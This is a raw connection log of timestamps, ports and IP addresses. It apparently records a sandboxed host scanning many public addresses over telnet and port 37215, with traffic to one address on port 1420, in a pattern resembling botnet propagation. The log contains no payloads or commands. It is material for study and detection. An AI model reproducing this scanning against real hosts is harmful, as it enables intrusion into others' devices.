Nov 3, 2024 15:33:12.792167902 CET	54872	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.798629045 CET	37215	50466	156.207.157.252	192.168.2.14
Nov 3, 2024 15:33:12.798681021 CET	50466	37215	192.168.2.14	156.207.157.252
Nov 3, 2024 15:33:12.828140020 CET	23	53096	82.233.136.38	192.168.2.14
Nov 3, 2024 15:33:12.828227043 CET	53096	23	192.168.2.14	82.233.136.38
Nov 3, 2024 15:33:12.828603029 CET	54416	23	192.168.2.14	82.233.136.38
Nov 3, 2024 15:33:12.833142996 CET	23	53096	82.233.136.38	192.168.2.14
Nov 3, 2024 15:33:12.833359003 CET	23	54416	82.233.136.38	192.168.2.14
Nov 3, 2024 15:33:12.833405018 CET	54416	23	192.168.2.14	82.233.136.38
Nov 3, 2024 15:33:12.838376999 CET	23	54416	82.233.136.38	192.168.2.14
Nov 3, 2024 15:33:12.838443995 CET	54416	23	192.168.2.14	82.233.136.38
Nov 3, 2024 15:33:12.838752985 CET	54418	23	192.168.2.14	82.233.136.38
Nov 3, 2024 15:33:12.843189001 CET	23	54416	82.233.136.38	192.168.2.14
Nov 3, 2024 15:33:12.843485117 CET	23	54418	82.233.136.38	192.168.2.14
Nov 3, 2024 15:33:12.843527079 CET	54418	23	192.168.2.14	82.233.136.38
Nov 3, 2024 15:33:12.859960079 CET	23	37406	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:12.860038042 CET	37406	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:12.860367060 CET	37524	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:12.864857912 CET	23	37406	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:12.865132093 CET	23	37524	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:12.865176916 CET	37524	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:12.870280027 CET	23	37524	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:12.870337009 CET	37524	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:12.870621920 CET	37526	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:12.875065088 CET	23	37524	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:12.875420094 CET	23	37526	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:12.875468969 CET	37526	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:12.878300905 CET	23	36500	35.78.69.180	192.168.2.14
Nov 3, 2024 15:33:12.878372908 CET	36500	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:12.878683090 CET	37756	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:12.883186102 CET	23	36500	35.78.69.180	192.168.2.14
Nov 3, 2024 15:33:12.883569002 CET	23	37756	35.78.69.180	192.168.2.14
Nov 3, 2024 15:33:12.883608103 CET	37756	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:12.888756037 CET	23	37756	35.78.69.180	192.168.2.14
Nov 3, 2024 15:33:12.888812065 CET	37756	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:12.889097929 CET	37758	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:12.893601894 CET	23	37756	35.78.69.180	192.168.2.14
Nov 3, 2024 15:33:12.893909931 CET	23	37758	35.78.69.180	192.168.2.14
Nov 3, 2024 15:33:12.893954039 CET	37758	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:12.898991108 CET	23	37758	35.78.69.180	192.168.2.14
Nov 3, 2024 15:33:12.899066925 CET	37758	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:12.899369001 CET	37760	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:12.903839111 CET	23	37758	35.78.69.180	192.168.2.14
Nov 3, 2024 15:33:12.904181957 CET	23	37760	35.78.69.180	192.168.2.14
Nov 3, 2024 15:33:12.904226065 CET	37760	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:12.941745043 CET	23	43368	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:12.941812038 CET	43368	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:12.942096949 CET	43490	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:12.951050043 CET	23	43368	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:12.951103926 CET	23	43490	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:12.951147079 CET	43490	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:12.958625078 CET	23	43490	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:12.958683014 CET	43490	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:12.958982944 CET	43492	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:12.967391968 CET	23	43490	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:12.967695951 CET	23	43492	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:12.967746019 CET	43492	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:13.046560049 CET	34820	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:13.051337957 CET	1420	34820	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:13.051388025 CET	34820	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:13.052053928 CET	34820	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:13.056787968 CET	1420	34820	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:13.056834936 CET	34820	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:13.061686039 CET	1420	34820	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:13.210376024 CET	4847	37215	192.168.2.14	197.233.247.204
Nov 3, 2024 15:33:13.210376024 CET	4847	37215	192.168.2.14	41.39.192.109
Nov 3, 2024 15:33:13.210376024 CET	4847	37215	192.168.2.14	156.66.70.102
Nov 3, 2024 15:33:13.210377932 CET	4847	37215	192.168.2.14	197.242.202.49
Nov 3, 2024 15:33:13.210390091 CET	4847	37215	192.168.2.14	41.118.174.98
Nov 3, 2024 15:33:13.210391045 CET	4847	37215	192.168.2.14	156.32.202.74
Nov 3, 2024 15:33:13.210392952 CET	4847	37215	192.168.2.14	197.185.36.5
Nov 3, 2024 15:33:13.210407972 CET	4847	37215	192.168.2.14	197.195.63.25
Nov 3, 2024 15:33:13.210413933 CET	4847	37215	192.168.2.14	156.123.218.251
Nov 3, 2024 15:33:13.210414886 CET	4847	37215	192.168.2.14	197.185.188.104
Nov 3, 2024 15:33:13.210414886 CET	4847	37215	192.168.2.14	197.8.90.91
Nov 3, 2024 15:33:13.210417032 CET	4847	37215	192.168.2.14	41.101.178.225
Nov 3, 2024 15:33:13.210417032 CET	4847	37215	192.168.2.14	41.25.131.133
Nov 3, 2024 15:33:13.210417032 CET	4847	37215	192.168.2.14	41.234.21.108
Nov 3, 2024 15:33:13.210418940 CET	4847	37215	192.168.2.14	197.128.126.224
Nov 3, 2024 15:33:13.210453987 CET	4847	37215	192.168.2.14	197.149.118.43
Nov 3, 2024 15:33:13.210453987 CET	4847	37215	192.168.2.14	41.151.143.90
Nov 3, 2024 15:33:13.210453987 CET	4847	37215	192.168.2.14	197.219.201.144
Nov 3, 2024 15:33:13.210458040 CET	4847	37215	192.168.2.14	156.92.21.112
Nov 3, 2024 15:33:13.210458040 CET	4847	37215	192.168.2.14	197.34.80.190
Nov 3, 2024 15:33:13.210458040 CET	4847	37215	192.168.2.14	156.2.101.153
Nov 3, 2024 15:33:13.210458040 CET	4847	37215	192.168.2.14	156.75.53.41
Nov 3, 2024 15:33:13.210458040 CET	4847	37215	192.168.2.14	41.188.19.186
Nov 3, 2024 15:33:13.210458040 CET	4847	37215	192.168.2.14	156.34.112.245
Nov 3, 2024 15:33:13.210459948 CET	4847	37215	192.168.2.14	156.226.246.49
Nov 3, 2024 15:33:13.210459948 CET	4847	37215	192.168.2.14	156.189.98.220
Nov 3, 2024 15:33:13.210459948 CET	4847	37215	192.168.2.14	41.100.0.212
Nov 3, 2024 15:33:13.210458040 CET	4847	37215	192.168.2.14	41.149.194.71
Nov 3, 2024 15:33:13.210458040 CET	4847	37215	192.168.2.14	156.144.185.8
Nov 3, 2024 15:33:13.210463047 CET	4847	37215	192.168.2.14	197.33.149.67
Nov 3, 2024 15:33:13.210463047 CET	4847	37215	192.168.2.14	197.247.199.66
Nov 3, 2024 15:33:13.210463047 CET	4847	37215	192.168.2.14	156.255.190.87
Nov 3, 2024 15:33:13.210463047 CET	4847	37215	192.168.2.14	156.14.58.244
Nov 3, 2024 15:33:13.210481882 CET	4847	37215	192.168.2.14	41.27.247.56
Nov 3, 2024 15:33:13.210483074 CET	4847	37215	192.168.2.14	41.109.44.99
Nov 3, 2024 15:33:13.210483074 CET	4847	37215	192.168.2.14	156.82.38.37
Nov 3, 2024 15:33:13.210483074 CET	4847	37215	192.168.2.14	197.137.99.26
Nov 3, 2024 15:33:13.210484028 CET	4847	37215	192.168.2.14	41.1.57.191
Nov 3, 2024 15:33:13.210484028 CET	4847	37215	192.168.2.14	156.239.160.12
Nov 3, 2024 15:33:13.210489988 CET	4847	37215	192.168.2.14	197.41.206.53
Nov 3, 2024 15:33:13.210489988 CET	4847	37215	192.168.2.14	156.157.201.18
Nov 3, 2024 15:33:13.210489988 CET	4847	37215	192.168.2.14	156.223.113.153
Nov 3, 2024 15:33:13.210510969 CET	4847	37215	192.168.2.14	197.30.235.134
Nov 3, 2024 15:33:13.210511923 CET	4847	37215	192.168.2.14	156.152.167.213
Nov 3, 2024 15:33:13.210511923 CET	4847	37215	192.168.2.14	197.58.246.231
Nov 3, 2024 15:33:13.210519075 CET	4847	37215	192.168.2.14	41.35.129.142
Nov 3, 2024 15:33:13.210519075 CET	4847	37215	192.168.2.14	156.98.163.75
Nov 3, 2024 15:33:13.210519075 CET	4847	37215	192.168.2.14	156.2.113.28
Nov 3, 2024 15:33:13.210519075 CET	4847	37215	192.168.2.14	41.208.29.12
Nov 3, 2024 15:33:13.210519075 CET	4847	37215	192.168.2.14	156.106.42.159
Nov 3, 2024 15:33:13.210519075 CET	4847	37215	192.168.2.14	41.46.82.50
Nov 3, 2024 15:33:13.210519075 CET	4847	37215	192.168.2.14	197.58.191.124
Nov 3, 2024 15:33:13.210519075 CET	4847	37215	192.168.2.14	41.42.56.122
Nov 3, 2024 15:33:13.210520029 CET	4847	37215	192.168.2.14	41.125.206.3
Nov 3, 2024 15:33:13.210519075 CET	4847	37215	192.168.2.14	197.139.219.185
Nov 3, 2024 15:33:13.210519075 CET	4847	37215	192.168.2.14	197.6.152.11
Nov 3, 2024 15:33:13.210520029 CET	4847	37215	192.168.2.14	197.55.117.65
Nov 3, 2024 15:33:13.210519075 CET	4847	37215	192.168.2.14	41.27.236.237
Nov 3, 2024 15:33:13.210526943 CET	4847	37215	192.168.2.14	197.220.182.51
Nov 3, 2024 15:33:13.210527897 CET	4847	37215	192.168.2.14	41.227.62.204
Nov 3, 2024 15:33:13.210527897 CET	4847	37215	192.168.2.14	197.22.187.84
Nov 3, 2024 15:33:13.210527897 CET	4847	37215	192.168.2.14	41.200.92.238
Nov 3, 2024 15:33:13.210539103 CET	4847	37215	192.168.2.14	197.225.192.42
Nov 3, 2024 15:33:13.210539103 CET	4847	37215	192.168.2.14	156.24.172.74
Nov 3, 2024 15:33:13.210547924 CET	4847	37215	192.168.2.14	197.231.103.98
Nov 3, 2024 15:33:13.210547924 CET	4847	37215	192.168.2.14	197.253.246.95
Nov 3, 2024 15:33:13.210547924 CET	4847	37215	192.168.2.14	156.60.161.242
Nov 3, 2024 15:33:13.210550070 CET	4847	37215	192.168.2.14	41.109.239.195
Nov 3, 2024 15:33:13.210550070 CET	4847	37215	192.168.2.14	41.221.119.222
Nov 3, 2024 15:33:13.210550070 CET	4847	37215	192.168.2.14	156.252.175.108
Nov 3, 2024 15:33:13.210550070 CET	4847	37215	192.168.2.14	41.123.164.27
Nov 3, 2024 15:33:13.210551977 CET	4847	37215	192.168.2.14	197.96.120.160
Nov 3, 2024 15:33:13.210551977 CET	4847	37215	192.168.2.14	41.194.11.104
Nov 3, 2024 15:33:13.210551977 CET	4847	37215	192.168.2.14	41.54.100.97
Nov 3, 2024 15:33:13.210551977 CET	4847	37215	192.168.2.14	41.254.213.170
Nov 3, 2024 15:33:13.210552931 CET	4847	37215	192.168.2.14	41.142.74.21
Nov 3, 2024 15:33:13.210551977 CET	4847	37215	192.168.2.14	41.181.47.36
Nov 3, 2024 15:33:13.210552931 CET	4847	37215	192.168.2.14	156.131.98.92
Nov 3, 2024 15:33:13.210552931 CET	4847	37215	192.168.2.14	156.78.83.175
Nov 3, 2024 15:33:13.210552931 CET	4847	37215	192.168.2.14	156.183.220.7
Nov 3, 2024 15:33:13.210568905 CET	4847	37215	192.168.2.14	197.249.48.229
Nov 3, 2024 15:33:13.210568905 CET	4847	37215	192.168.2.14	156.112.89.250
Nov 3, 2024 15:33:13.210571051 CET	4847	37215	192.168.2.14	197.225.35.255
Nov 3, 2024 15:33:13.210571051 CET	4847	37215	192.168.2.14	197.59.150.30
Nov 3, 2024 15:33:13.210572004 CET	4847	37215	192.168.2.14	41.201.40.52
Nov 3, 2024 15:33:13.210571051 CET	4847	37215	192.168.2.14	197.16.36.250
Nov 3, 2024 15:33:13.210572004 CET	4847	37215	192.168.2.14	156.254.68.209
Nov 3, 2024 15:33:13.210571051 CET	4847	37215	192.168.2.14	41.212.14.92
Nov 3, 2024 15:33:13.210571051 CET	4847	37215	192.168.2.14	156.135.43.84
Nov 3, 2024 15:33:13.210572004 CET	4847	37215	192.168.2.14	197.133.150.129
Nov 3, 2024 15:33:13.210571051 CET	4847	37215	192.168.2.14	156.9.55.109
Nov 3, 2024 15:33:13.210572004 CET	4847	37215	192.168.2.14	41.91.112.25
Nov 3, 2024 15:33:13.210572004 CET	4847	37215	192.168.2.14	197.3.20.76
Nov 3, 2024 15:33:13.210588932 CET	4847	37215	192.168.2.14	197.62.235.126
Nov 3, 2024 15:33:13.210588932 CET	4847	37215	192.168.2.14	41.65.244.46
Nov 3, 2024 15:33:13.210597992 CET	4847	37215	192.168.2.14	156.3.156.46
Nov 3, 2024 15:33:13.210599899 CET	4847	37215	192.168.2.14	41.202.57.186
Nov 3, 2024 15:33:13.210599899 CET	4847	37215	192.168.2.14	41.45.72.182
Nov 3, 2024 15:33:13.210599899 CET	4847	37215	192.168.2.14	41.45.58.216
Nov 3, 2024 15:33:13.210602045 CET	4847	37215	192.168.2.14	41.38.166.201
Nov 3, 2024 15:33:13.210602999 CET	4847	37215	192.168.2.14	197.6.191.164
Nov 3, 2024 15:33:13.210602999 CET	4847	37215	192.168.2.14	156.39.73.145
Nov 3, 2024 15:33:13.210602999 CET	4847	37215	192.168.2.14	197.74.178.149
Nov 3, 2024 15:33:13.210608959 CET	4847	37215	192.168.2.14	156.121.10.206
Nov 3, 2024 15:33:13.210608959 CET	4847	37215	192.168.2.14	41.197.63.16
Nov 3, 2024 15:33:13.210608959 CET	4847	37215	192.168.2.14	156.147.161.130
Nov 3, 2024 15:33:13.210608959 CET	4847	37215	192.168.2.14	41.76.205.54
Nov 3, 2024 15:33:13.210623980 CET	4847	37215	192.168.2.14	197.7.163.194
Nov 3, 2024 15:33:13.210625887 CET	4847	37215	192.168.2.14	197.107.64.50
Nov 3, 2024 15:33:13.210625887 CET	4847	37215	192.168.2.14	156.123.248.93
Nov 3, 2024 15:33:13.210625887 CET	4847	37215	192.168.2.14	41.237.155.125
Nov 3, 2024 15:33:13.210628033 CET	4847	37215	192.168.2.14	197.62.169.205
Nov 3, 2024 15:33:13.210628033 CET	4847	37215	192.168.2.14	41.193.147.228
Nov 3, 2024 15:33:13.210629940 CET	4847	37215	192.168.2.14	156.105.234.158
Nov 3, 2024 15:33:13.210628033 CET	4847	37215	192.168.2.14	197.134.42.66
Nov 3, 2024 15:33:13.210625887 CET	4847	37215	192.168.2.14	197.199.80.45
Nov 3, 2024 15:33:13.210628033 CET	4847	37215	192.168.2.14	156.199.238.218
Nov 3, 2024 15:33:13.210628033 CET	4847	37215	192.168.2.14	197.141.22.131
Nov 3, 2024 15:33:13.210652113 CET	4847	37215	192.168.2.14	156.30.228.210
Nov 3, 2024 15:33:13.210652113 CET	4847	37215	192.168.2.14	41.202.233.230
Nov 3, 2024 15:33:13.210656881 CET	4847	37215	192.168.2.14	156.40.11.190
Nov 3, 2024 15:33:13.210656881 CET	4847	37215	192.168.2.14	41.197.174.79
Nov 3, 2024 15:33:13.210659027 CET	4847	37215	192.168.2.14	41.18.64.77
Nov 3, 2024 15:33:13.210659027 CET	4847	37215	192.168.2.14	197.235.24.67
Nov 3, 2024 15:33:13.210659027 CET	4847	37215	192.168.2.14	197.94.46.230
Nov 3, 2024 15:33:13.210659027 CET	4847	37215	192.168.2.14	197.43.150.62
Nov 3, 2024 15:33:13.210660934 CET	4847	37215	192.168.2.14	156.27.51.199
Nov 3, 2024 15:33:13.210660934 CET	4847	37215	192.168.2.14	41.172.87.181
Nov 3, 2024 15:33:13.210661888 CET	4847	37215	192.168.2.14	197.186.42.199
Nov 3, 2024 15:33:13.210661888 CET	4847	37215	192.168.2.14	156.8.203.125
Nov 3, 2024 15:33:13.210661888 CET	4847	37215	192.168.2.14	156.205.29.106
Nov 3, 2024 15:33:13.210663080 CET	4847	37215	192.168.2.14	156.118.43.244
Nov 3, 2024 15:33:13.210661888 CET	4847	37215	192.168.2.14	156.129.110.32
Nov 3, 2024 15:33:13.210663080 CET	4847	37215	192.168.2.14	156.255.69.49
Nov 3, 2024 15:33:13.210661888 CET	4847	37215	192.168.2.14	41.154.191.235
Nov 3, 2024 15:33:13.210661888 CET	4847	37215	192.168.2.14	197.201.103.205
Nov 3, 2024 15:33:13.210674047 CET	4847	37215	192.168.2.14	156.234.215.111
Nov 3, 2024 15:33:13.210679054 CET	4847	37215	192.168.2.14	41.43.98.235
Nov 3, 2024 15:33:13.210679054 CET	4847	37215	192.168.2.14	156.201.55.223
Nov 3, 2024 15:33:13.210679054 CET	4847	37215	192.168.2.14	197.116.155.170
Nov 3, 2024 15:33:13.210678101 CET	4847	37215	192.168.2.14	156.204.140.251
Nov 3, 2024 15:33:13.210684061 CET	4847	37215	192.168.2.14	156.116.202.206
Nov 3, 2024 15:33:13.210684061 CET	4847	37215	192.168.2.14	156.5.76.53
Nov 3, 2024 15:33:13.210685015 CET	4847	37215	192.168.2.14	197.30.100.236
Nov 3, 2024 15:33:13.210685015 CET	4847	37215	192.168.2.14	156.162.46.16
Nov 3, 2024 15:33:13.210686922 CET	4847	37215	192.168.2.14	41.51.107.12
Nov 3, 2024 15:33:13.210686922 CET	4847	37215	192.168.2.14	197.185.160.96
Nov 3, 2024 15:33:13.210710049 CET	4847	37215	192.168.2.14	197.85.146.225
Nov 3, 2024 15:33:13.210711002 CET	4847	37215	192.168.2.14	41.147.164.36
Nov 3, 2024 15:33:13.210711956 CET	4847	37215	192.168.2.14	156.0.206.74
Nov 3, 2024 15:33:13.210711956 CET	4847	37215	192.168.2.14	41.1.84.126
Nov 3, 2024 15:33:13.210712910 CET	4847	37215	192.168.2.14	197.123.4.81
Nov 3, 2024 15:33:13.210711956 CET	4847	37215	192.168.2.14	197.140.14.150
Nov 3, 2024 15:33:13.210711956 CET	4847	37215	192.168.2.14	41.44.131.96
Nov 3, 2024 15:33:13.210711956 CET	4847	37215	192.168.2.14	197.102.161.70
Nov 3, 2024 15:33:13.210714102 CET	4847	37215	192.168.2.14	197.26.85.45
Nov 3, 2024 15:33:13.210711956 CET	4847	37215	192.168.2.14	197.236.60.2
Nov 3, 2024 15:33:13.210714102 CET	4847	37215	192.168.2.14	41.130.130.178
Nov 3, 2024 15:33:13.210714102 CET	4847	37215	192.168.2.14	156.220.142.129
Nov 3, 2024 15:33:13.210720062 CET	4847	37215	192.168.2.14	156.222.38.1
Nov 3, 2024 15:33:13.210721970 CET	4847	37215	192.168.2.14	156.233.250.9
Nov 3, 2024 15:33:13.210724115 CET	4847	37215	192.168.2.14	197.31.216.228
Nov 3, 2024 15:33:13.210726023 CET	4847	37215	192.168.2.14	156.120.227.181
Nov 3, 2024 15:33:13.210726023 CET	4847	37215	192.168.2.14	156.99.9.171
Nov 3, 2024 15:33:13.210726976 CET	4847	37215	192.168.2.14	41.210.120.50
Nov 3, 2024 15:33:13.210727930 CET	4847	37215	192.168.2.14	197.25.223.244
Nov 3, 2024 15:33:13.210727930 CET	4847	37215	192.168.2.14	197.191.52.13
Nov 3, 2024 15:33:13.210757017 CET	4847	37215	192.168.2.14	41.57.42.59
Nov 3, 2024 15:33:13.210757971 CET	4847	37215	192.168.2.14	41.232.166.111
Nov 3, 2024 15:33:13.210757971 CET	4847	37215	192.168.2.14	41.238.153.104
Nov 3, 2024 15:33:13.210758924 CET	4847	37215	192.168.2.14	197.180.91.105
Nov 3, 2024 15:33:13.210758924 CET	4847	37215	192.168.2.14	156.81.48.165
Nov 3, 2024 15:33:13.210758924 CET	4847	37215	192.168.2.14	41.91.143.216
Nov 3, 2024 15:33:13.210758924 CET	4847	37215	192.168.2.14	197.62.144.207
Nov 3, 2024 15:33:13.210758924 CET	4847	37215	192.168.2.14	156.209.73.3
Nov 3, 2024 15:33:13.210760117 CET	4847	37215	192.168.2.14	156.17.155.31
Nov 3, 2024 15:33:13.210758924 CET	4847	37215	192.168.2.14	156.226.74.176
Nov 3, 2024 15:33:13.210760117 CET	4847	37215	192.168.2.14	156.90.185.160
Nov 3, 2024 15:33:13.210758924 CET	4847	37215	192.168.2.14	156.148.246.236
Nov 3, 2024 15:33:13.210760117 CET	4847	37215	192.168.2.14	156.232.251.92
Nov 3, 2024 15:33:13.210761070 CET	4847	37215	192.168.2.14	197.145.62.75
Nov 3, 2024 15:33:13.210761070 CET	4847	37215	192.168.2.14	41.95.147.6
Nov 3, 2024 15:33:13.210761070 CET	4847	37215	192.168.2.14	41.214.62.48
Nov 3, 2024 15:33:13.210758924 CET	4847	37215	192.168.2.14	41.14.201.149
Nov 3, 2024 15:33:13.210761070 CET	4847	37215	192.168.2.14	41.202.207.49
Nov 3, 2024 15:33:13.210758924 CET	4847	37215	192.168.2.14	197.124.229.93
Nov 3, 2024 15:33:13.210777998 CET	4847	37215	192.168.2.14	41.129.147.183
Nov 3, 2024 15:33:13.210777998 CET	4847	37215	192.168.2.14	41.16.6.128
Nov 3, 2024 15:33:13.210784912 CET	4847	37215	192.168.2.14	41.167.146.85
Nov 3, 2024 15:33:13.210784912 CET	4847	37215	192.168.2.14	197.253.202.73
Nov 3, 2024 15:33:13.210784912 CET	4847	37215	192.168.2.14	197.111.34.153
Nov 3, 2024 15:33:13.210786104 CET	4847	37215	192.168.2.14	197.95.89.157
Nov 3, 2024 15:33:13.210784912 CET	4847	37215	192.168.2.14	41.232.16.122
Nov 3, 2024 15:33:13.210784912 CET	4847	37215	192.168.2.14	41.252.55.1
Nov 3, 2024 15:33:13.210787058 CET	4847	37215	192.168.2.14	197.47.224.82
Nov 3, 2024 15:33:13.210784912 CET	4847	37215	192.168.2.14	156.73.231.252
Nov 3, 2024 15:33:13.210788012 CET	4847	37215	192.168.2.14	156.233.127.121
Nov 3, 2024 15:33:13.210788012 CET	4847	37215	192.168.2.14	197.65.240.231
Nov 3, 2024 15:33:13.210788012 CET	4847	37215	192.168.2.14	197.11.253.239
Nov 3, 2024 15:33:13.210813999 CET	4847	37215	192.168.2.14	197.19.108.141
Nov 3, 2024 15:33:13.210814953 CET	4847	37215	192.168.2.14	156.242.86.109
Nov 3, 2024 15:33:13.210815907 CET	4847	37215	192.168.2.14	197.137.172.245
Nov 3, 2024 15:33:13.210813999 CET	4847	37215	192.168.2.14	197.60.152.214
Nov 3, 2024 15:33:13.210814953 CET	4847	37215	192.168.2.14	156.78.236.15
Nov 3, 2024 15:33:13.210818052 CET	4847	37215	192.168.2.14	197.118.63.197
Nov 3, 2024 15:33:13.210813999 CET	4847	37215	192.168.2.14	197.231.47.40
Nov 3, 2024 15:33:13.210817099 CET	4847	37215	192.168.2.14	156.161.135.112
Nov 3, 2024 15:33:13.210818052 CET	4847	37215	192.168.2.14	41.107.91.9
Nov 3, 2024 15:33:13.210813999 CET	4847	37215	192.168.2.14	41.251.250.24
Nov 3, 2024 15:33:13.210813999 CET	4847	37215	192.168.2.14	156.19.77.56
Nov 3, 2024 15:33:13.210813999 CET	4847	37215	192.168.2.14	41.149.84.145
Nov 3, 2024 15:33:13.210817099 CET	4847	37215	192.168.2.14	197.238.37.146
Nov 3, 2024 15:33:13.210817099 CET	4847	37215	192.168.2.14	197.228.75.62
Nov 3, 2024 15:33:13.210817099 CET	4847	37215	192.168.2.14	41.4.166.198
Nov 3, 2024 15:33:13.210832119 CET	4847	37215	192.168.2.14	156.146.29.232
Nov 3, 2024 15:33:13.210832119 CET	4847	37215	192.168.2.14	197.144.117.182
Nov 3, 2024 15:33:13.210832119 CET	4847	37215	192.168.2.14	41.123.160.166
Nov 3, 2024 15:33:13.210832119 CET	4847	37215	192.168.2.14	156.151.91.165
Nov 3, 2024 15:33:13.210832119 CET	4847	37215	192.168.2.14	197.141.28.12
Nov 3, 2024 15:33:13.210832119 CET	4847	37215	192.168.2.14	197.59.133.68
Nov 3, 2024 15:33:13.210834026 CET	4847	37215	192.168.2.14	197.101.237.22
Nov 3, 2024 15:33:13.210835934 CET	4847	37215	192.168.2.14	156.31.203.24
Nov 3, 2024 15:33:13.210832119 CET	4847	37215	192.168.2.14	156.137.219.167
Nov 3, 2024 15:33:13.210832119 CET	4847	37215	192.168.2.14	41.233.90.190
Nov 3, 2024 15:33:13.210832119 CET	4847	37215	192.168.2.14	197.11.120.31
Nov 3, 2024 15:33:13.210844040 CET	4847	37215	192.168.2.14	197.22.40.17
Nov 3, 2024 15:33:13.210844040 CET	4847	37215	192.168.2.14	197.223.103.143
Nov 3, 2024 15:33:13.210844040 CET	4847	37215	192.168.2.14	156.191.94.248
Nov 3, 2024 15:33:13.210844040 CET	4847	37215	192.168.2.14	197.187.85.167
Nov 3, 2024 15:33:13.210844040 CET	4847	37215	192.168.2.14	156.170.243.105
Nov 3, 2024 15:33:13.210844040 CET	4847	37215	192.168.2.14	41.214.251.218
Nov 3, 2024 15:33:13.210856915 CET	4847	37215	192.168.2.14	197.245.187.133
Nov 3, 2024 15:33:13.210859060 CET	4847	37215	192.168.2.14	197.255.82.242
Nov 3, 2024 15:33:13.210859060 CET	4847	37215	192.168.2.14	41.232.120.193
Nov 3, 2024 15:33:13.210859060 CET	4847	37215	192.168.2.14	197.110.83.1
Nov 3, 2024 15:33:13.210859060 CET	4847	37215	192.168.2.14	41.96.53.178
Nov 3, 2024 15:33:13.210860968 CET	4847	37215	192.168.2.14	197.188.17.4
Nov 3, 2024 15:33:13.210863113 CET	4847	37215	192.168.2.14	156.13.142.84
Nov 3, 2024 15:33:13.210880041 CET	4847	37215	192.168.2.14	41.27.180.177
Nov 3, 2024 15:33:13.210880995 CET	4847	37215	192.168.2.14	41.165.208.78
Nov 3, 2024 15:33:13.210880041 CET	4847	37215	192.168.2.14	41.182.205.201
Nov 3, 2024 15:33:13.210880995 CET	4847	37215	192.168.2.14	41.94.93.44
Nov 3, 2024 15:33:13.210881948 CET	4847	37215	192.168.2.14	197.69.182.138
Nov 3, 2024 15:33:13.210880995 CET	4847	37215	192.168.2.14	197.114.171.208
Nov 3, 2024 15:33:13.210884094 CET	4847	37215	192.168.2.14	197.39.165.13
Nov 3, 2024 15:33:13.210881948 CET	4847	37215	192.168.2.14	156.218.103.59
Nov 3, 2024 15:33:13.210894108 CET	4847	37215	192.168.2.14	41.153.138.198
Nov 3, 2024 15:33:13.210894108 CET	4847	37215	192.168.2.14	197.219.70.174
Nov 3, 2024 15:33:13.210899115 CET	4847	37215	192.168.2.14	41.148.87.189
Nov 3, 2024 15:33:13.210899115 CET	4847	37215	192.168.2.14	197.104.69.93
Nov 3, 2024 15:33:13.210897923 CET	4847	37215	192.168.2.14	156.32.114.8
Nov 3, 2024 15:33:13.210900068 CET	4847	37215	192.168.2.14	197.216.189.62
Nov 3, 2024 15:33:13.210897923 CET	4847	37215	192.168.2.14	197.210.103.89
Nov 3, 2024 15:33:13.210901976 CET	4847	37215	192.168.2.14	156.214.62.98
Nov 3, 2024 15:33:13.210899115 CET	4847	37215	192.168.2.14	156.227.138.230
Nov 3, 2024 15:33:13.210931063 CET	4847	37215	192.168.2.14	41.15.201.119
Nov 3, 2024 15:33:13.210932970 CET	4847	37215	192.168.2.14	41.158.242.83
Nov 3, 2024 15:33:13.210932970 CET	4847	37215	192.168.2.14	197.80.35.173
Nov 3, 2024 15:33:13.210932970 CET	4847	37215	192.168.2.14	41.127.199.50
Nov 3, 2024 15:33:13.210933924 CET	4847	37215	192.168.2.14	41.54.148.122
Nov 3, 2024 15:33:13.210933924 CET	4847	37215	192.168.2.14	156.105.241.97
Nov 3, 2024 15:33:13.210936069 CET	4847	37215	192.168.2.14	197.42.158.130
Nov 3, 2024 15:33:13.210936069 CET	4847	37215	192.168.2.14	41.59.222.231
Nov 3, 2024 15:33:13.210936069 CET	4847	37215	192.168.2.14	156.198.208.224
Nov 3, 2024 15:33:13.210936069 CET	4847	37215	192.168.2.14	41.218.167.239
Nov 3, 2024 15:33:13.210935116 CET	4847	37215	192.168.2.14	156.244.186.100
Nov 3, 2024 15:33:13.210936069 CET	4847	37215	192.168.2.14	156.67.27.133
Nov 3, 2024 15:33:13.210936069 CET	4847	37215	192.168.2.14	156.56.16.138
Nov 3, 2024 15:33:13.210936069 CET	4847	37215	192.168.2.14	197.142.114.88
Nov 3, 2024 15:33:13.210936069 CET	4847	37215	192.168.2.14	156.40.56.14
